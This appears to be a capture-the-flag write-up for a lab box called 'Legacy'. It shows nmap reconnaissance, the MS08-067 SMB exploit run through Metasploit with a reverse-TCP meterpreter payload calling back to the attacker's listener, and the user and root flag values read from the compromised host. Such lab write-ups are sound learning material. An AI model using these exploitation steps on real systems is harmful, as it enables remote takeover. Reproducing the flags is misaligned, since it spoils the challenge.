Legacy

sudo nmap -sS 10.10.10.4

```
flerb@ubuntu:~$ sudo nmap -sS 10.10.10.4
[sudo] password for flerb:
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-12 13:49 PDT
Nmap scan report for 10.10.10.4
Host is up (0.076s latency).
Not shown: 997 filtered ports
PORT     STATE  SERVICE
139/tcp  open   netbios-ssn
445/tcp  open   microsoft-ds
3389/tcp closed ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 6.37 seconds
```

```
flerb@ubuntu:~$ sudo nmap -sV -p 445 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-12 13:49 PDT
Nmap scan report for 10.10.10.4
Host is up (0.075s latency).

PORT    STATE SERVICE      VERSION
445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
Service Info: OS: Windows XP; CPE: cpe:/o:microsoft:windows_xp

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.96 seconds
flerb@ubuntu:~$
```

another option is

sudo nmap -vvvvv -A -sVT 10.10.10.4

https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067
which is CVE-2008-4250
https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2008-4250

cve_searchsploit CVE-2008-4250 shows:

```
Exploit DB Id: 40279
File: /usr/local/lib/python3.8/dist-packages/cve_searchsploit-1.6-py3.8.egg/cve_searchsploit/exploit-database/exploits/windows/remote/40279.py
Date: 1970-01-01
Author: ohnozzy
Platform: remote
Type: windows
Port:
```

```
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   10.10.10.4       yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.14.10      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf6 exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 10.10.14.10:4444
[*] 10.10.10.4:445 - Automatically detecting the target...
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175174 bytes) to 10.10.10.4
[*] Meterpreter session 2 opened (10.10.14.10:4444 -> 10.10.10.4:1029) at 2021-09-12 13:48:08 -0700

meterpreter >
```

```
meterpreter > search -f user.txt
Found 1 result...
    c:\Documents and Settings\john\Desktop\user.txt (32 bytes)
meterpreter > search -f root.txt
Found 1 result...
    c:\Documents and Settings\Administrator\Desktop\root.txt (32 bytes)
meterpreter >
```

```
meterpreter > pwd
C:\Documents and Settings\john\Desktop
meterpreter > cat user.txt
e69af0e4f443de7e36876fda4ec7644fmeterpreter >
```

```
meterpreter > pwd
C:\Documents and Settings\Administrator\Desktop
meterpreter > cat root.txt
993442d258b0e0ec917cae9e695d5713meterpreter >
```